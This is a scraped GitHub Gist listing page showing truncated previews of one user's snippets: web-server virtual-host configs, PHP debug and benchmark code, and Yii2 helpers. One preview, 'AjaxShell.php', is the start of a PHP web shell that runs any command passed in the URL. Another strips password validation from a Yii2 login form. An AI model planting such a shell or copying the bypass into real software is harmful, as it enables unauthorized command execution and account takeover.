Skip to content

Instantly share code, notes, and snippets.

@lav45
lav45 / main.conf
Last active August 29, 2015 14:06
Apache VirtualDocumentRoot
ServerName localhost
AddDefaultCharset utf-8
AddType application/x-httpd-php .php .phtml
DirectoryIndex index.html index.htm index.php
ServerAdmin webmaster@admin.my
DocumentRoot /var/www/my
<Directory /var/www/my>
Options FollowSymLInks SymLinksIfOwnerMatch MultiViews Indexes
@lav45
lav45 / main.conf
Last active March 29, 2018 20:10
Nginx VirtualDocumentRoot
server {
listen 80;
server_name ~^((?<sub>[^\.]+)\.)?(?<domain>[^\.]+)\.my$;
charset utf-8;
client_max_body_size 128m;
index index.php index.html index.htm;
error_log /var/www/log/nginx.error.log warn;
log_not_found on;
access_log off;
@lav45
lav45 / AjaxShell.php
Last active July 22, 2020 08:20
PHP AJAX Shell
<?php
ini_set('max_input_time', 0);
ini_set('max_execution_time', 0);
if (!empty($_GET['cmd'])) {
$in = $_GET['cmd'];
$out = "";
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("\n",$out);
@lav45
lav45 / debug.php
Last active June 7, 2019 11:58
debug()
<?php
/**
* @link https://gist.github.com/lav45/31f9744049c5bca13a46
* @author Alexey Loban <lav451@gmail.com>
*
* Example:
* debug();
* debug($_POST);
* debug($_GET, $_POST, ...);
*
@lav45
lav45 / main-local.php
Last active September 28, 2016 20:09
Yii2 Убираем валидацию с LoginForm
<?php
/**
* @param yii\base\ModelEvent $event
*/
$func = function($event) {
/** @var common\models\LoginForm $model */
$model = $event->sender;
foreach($model->validators as $key => $item) {
if ($item instanceof yii\validators\InlineValidator && $item->method == 'validatePassword') {
@lav45
lav45 / array_unique.php
Last active December 12, 2015 16:12
benchmark array_unique() vs \yii\helpers\ArrayHelper::unique()
<?php
/**
* ~$ php -v
* PHP 7.0.0-5+deb.sury.org~trusty+1 (cli) ( NTS )
* Copyright (c) 1997-2015 The PHP Group
* Zend Engine v3.0.0, Copyright (c) 1998-2015 Zend Technologies
* with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies
*
* ~$ php test.php
@lav45
lav45 / benchmark_Judy.php
Last active September 28, 2016 20:22
benchmark Judy
<?php
/**
* PHP 7.0.11-1+deb.sury.org~trusty+1 (cli) ( NTS )
* Copyright (c) 1997-2016 The PHP Group
* Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
* with Zend OPcache v7.0.11-1+deb.sury.org~trusty+1, Copyright (c) 1999-2016, by Zend Technologies
* with Xdebug v2.4.1, Copyright (c) 2002-2016, by Derick Rethans
*
* extension Judy => https://github.com/tony2001/php-judy/tree/php7
*/
server {
listen 80;
index index.php;
server_name site.com admin.site.net;
client_max_body_size 32m;
client_body_buffer_size 32m;
charset utf-8;
@lav45
lav45 / FormBuilder.php
Last active February 26, 2018 17:37
MultipleInput verification through Model
<?php
use yii\base\Model;
use yii\base\Widget;
use yii\base\InvalidConfigException;
use yii\helpers\ArrayHelper;
use yii\widgets\ActiveField;
use yii\widgets\InputWidget;
class FormBuilder extends Widget
<?php
/**
* Created by PhpStorm.
* User: lav45
* Date: 28.12.16
* Time: 21:18
*/
namespace demo;